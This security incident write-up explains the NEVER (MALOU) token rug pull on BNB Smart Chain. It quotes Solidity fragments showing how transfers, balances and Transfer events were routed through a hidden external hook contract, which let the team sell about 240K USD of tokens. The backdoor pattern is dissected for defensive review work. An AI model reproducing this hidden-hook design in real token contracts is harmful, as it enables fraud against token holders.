NEVER Rug Pull
What happened
NEVER (on-chain name MALOU, symbol NEVER) is a BNB Smart Chain token whose verified source does not contain its own transfer or balance logic. transfer and transferFrom only forward the call to an external helper contract through _beforeTokenTransfer, balanceOf can return a value computed by that helper, and the helper alone can emit Transfer events through sendValue. Holders therefore cannot tell from the verified source how balances move or who can sell.
CertiK Alert flagged a >99% slippage sell on 2024-07-16 in which wallet 0xd7c358b8…908B84 used a backdoor to sell NEVER for 428 BNB (about 240K USD). De.Fi's REKT database lists the same loss as an exit scam by the team and gives the sell transaction 0x90254b3b…5e77e4.
How it happened
- The token is deployed with
ERC20("MALOU", "NEVER", 18)and the whole supply is credited to the deployer:_balances[msg.sender] = totalSupply;. - In the constructor the token calls a fixed external address and stores the returned address as its hook contract:
(, bytes memory accountHash) = address(uint160(ACCOUNT_HASH)).call(abi.encodeWithSelector(0x64744e7f));followed by_accountHash = Address(abi.decode(accountHash, (address)));. The success flag is ignored, and the hook contract's source is not part of the verified token source. - Every transfer path hands the work to that hook:
function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal virtual { (bool n,) = address(_accountHash).call(abi.encodeWithSelector(0xf7fbe3f2, _from, _to, _amount, msg.sender)); require(n); }.transferandtransferFromcall only this hook and returntrue; the token's own_transfer, which would change_balances, is never reached from them. What the hook does with balances is therefore not visible in the token source. balanceOfalso asks the hook first:bytes32 isContract = _accountHash.isContract(_owner); if (uint256(isContract) < uint256(-1)) return uint256(isContract);. A hook that returns any value below the maximum makes that value the reported balance, whatever_balancesholds.- Event history can be written by the hook alone:
sendValuereturns unlessmsg.sender == address(_accountHash), then emitsTransfer(recipient, sender[i], success[i])for any addresses and amounts. Explorers and DEX interfaces that read events orbalanceOfcan be shown figures the token's own storage does not contain. - What happened: CertiK Alert reported that wallet 0xd7c358b8…908B84 used a backdoor to sell NEVER on PancakeSwap for 428 BNB (about 240K USD) at >99% slippage. De.Fi lists this as an exit scam by the team with a loss of about 240K USD. The code supports that a sell without a visible matching balance is possible through the hook; the opened sources do not show the hook's code or the transaction trace.
Protocol details
Evidence
- report De.Fi REKT database listing for NEVER (proof link is S3) x.com
- transaction bscscan.com transaction 0x9025…77e4 bscscan.com
- address BscScan verified source, NEVERToken (0xeaC7250cf7Ef47abDCCb26dF77b81BdaC3Da4cfb) bscscan.com
- address bscscan.com address 0xd7c3…8b84 bscscan.com
- analysis Sourcify repository entry, NEVERToken on BSC repo.sourcify.dev
Build your security review skills
Work through hands-on labs covering real exploit mechanics, review techniques, and defensive patterns.